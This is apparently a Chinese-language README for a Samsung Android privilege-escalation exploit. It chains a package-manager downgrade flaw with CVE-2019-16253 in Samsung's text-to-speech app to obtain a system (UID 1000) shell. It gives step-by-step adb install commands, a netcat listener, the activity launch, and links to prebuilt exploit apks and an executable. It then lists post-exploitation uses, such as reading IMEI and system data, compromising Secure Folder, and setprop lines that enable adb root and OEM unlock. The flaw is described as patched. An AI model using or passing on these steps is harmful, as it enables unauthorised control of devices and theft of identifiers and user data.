我在2022年10月发现的一个漏洞,涉及安卓的包管理器二进制文件(pm)及其处理调试标志的方式,该漏洞于2023年3月被修补。使用CVE-2019-16253作为载荷来获取系统shell。
早在2019年,一个后来被称为"CVE-2019-16253"的漏洞被发现,它影响三星TTS引擎的3.0.02.7之前版本。该利用允许本地攻击者将权限提升至系统权限,后来被三星修复。
本质上,三星的TTS应用会盲目接受从TTS引擎接收到的任何数据。你可以向TTS引擎传递一个库,该库随后会被交给TTS应用,而TTS应用又会加载该库并以系统权限(Android上的UID 1000)执行它。后来这个问题被修复,TTS应用会验证来自引擎的数据以及已安装的版本,从而堵住了这个特定漏洞。
然而,随着Android 10的到来,谷歌引入了通过使用ENABLE_ROLLBACK参数安装应用来回滚应用的能力。这允许用户将设备上安装的应用版本还原到之前安装的版本。我认为一个疏忽让这个功能扩展到了三星的文本转语音应用,以及目前市面上任何Android 10+设备上的任何应用。
这个杀伤链的根源全部回到了安装应用时包管理器命令中添加的-d标志。它本应只对可调试应用生效,但对不可调试应用也有效,这就是TTS应用可以被强制降级的原因。
换句话说,虽然2019年的漏洞已被修复,且新版TTS应用已分发,但先是一个,现在是多个绕过后来的补丁的方法以及利用手段被发现,可以在三年(甚至四年)后发布的设备上安装并利用它,这引发了对有多少过去漏洞可以被重新激活的疑问。
今年3月,三星发布了针对该漏洞的补丁,但我很快找到了绕过3月补丁的方法,并且这个方法也已被报告和修复,从而结束了对臭名昭著的"TTS System Shell"长达两年的探索。
简单指南 --
1 安装所有apk,至少打开一次。
2 重启设备,当设备重新启动后,从ADB运行以下命令。
"adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk "
3 在一个控制台中,输入 nc -lp 9999
4 在第二个控制台中运行以下命令:adb shell am start -n com.samsung.SMT/.gui.DownloadList
完成。
如果启动时出现问题,请完全卸载SMT(三星文本转语音),然后重新安装漏洞版本,并从第3步开始重试。
已于2023年2月被修复 如XDA上所示(在XDA版主删除公开披露之前)。 此处将保持原样作为存档。
预计这适用于截至撰写本文时生产的所有三星移动设备,除了一些JDM设备。(2023年1月19日)
可使用的酷炫功能: 访问大多数 /efs /efs/imei /efs/sec_efs /efs/FactoryApp - 访问大多数 /data /data/system /data/user/0/ANY_SYSTEM_APP - "Insthk" 二进制文件变为可用 - 安全文件夹/分离应用将完全沦陷,如果你也在其中安装POC(UID 150_system) - 启动IOTHidden菜单、DM模式、服务模式、多个调试和隐藏菜单,以及在系统上下文中启动预配置 - 更改许多受保护属性,例如: setprop persist.service.adb.root 1 setprop service.adb.root 1 setprop sys.hidden.otatest 1 setprop sys.hiddenmenu.enable 1 setprop persist.sys.knox.device_owner true setprop persist.sys.usb.qxdm.debug 1 setprop sys.usb.qxdm.debug 1 setprop presist.service.adb.enable 1 setprop persist.sys.usb.qxdm.debug 1 setprop service.adb.enable 1 setprop persist.rollback.is_test true setprop sys.oem_unlock_allowed 1 以及其他更多内容。
简单方法 - 步骤1 - 下载 "Komraids System Shell.zip"(附件是最新版本),并在桌面上解压到任意位置。 步骤2 - 将 "samsungTTSVULN2.apk" 推送到 /data/local/tmp 步骤3 - 确保USB调试已开启,并且计算机已授权。同时确保省电模式已关闭。 步骤4 - 安装 komraids_POC_V1.5.apk,重启设备。 步骤5 - 当设备完全重启并解锁后,运行 systemshell.exe 步骤6 - 你现在应该处于一个UID 1000的shell中。祝你好运。注意你修改的内容。
注意事项:.exe 每次重启后只需运行一次,如果你愿意可以使用它,或者你也可以按照下面的"它是如何工作的?"步骤5手动打开一个系统shell。
别犯傻,我不会为你做的任何蠢事负责。 PWNED - K0mraid3 2022-10-06 175216.png
特别感谢 @oakieville 提供的 .exe 以及在这个项目代码调整中的大量帮助。
本项目由VAULT-TEC Dev Ops提供!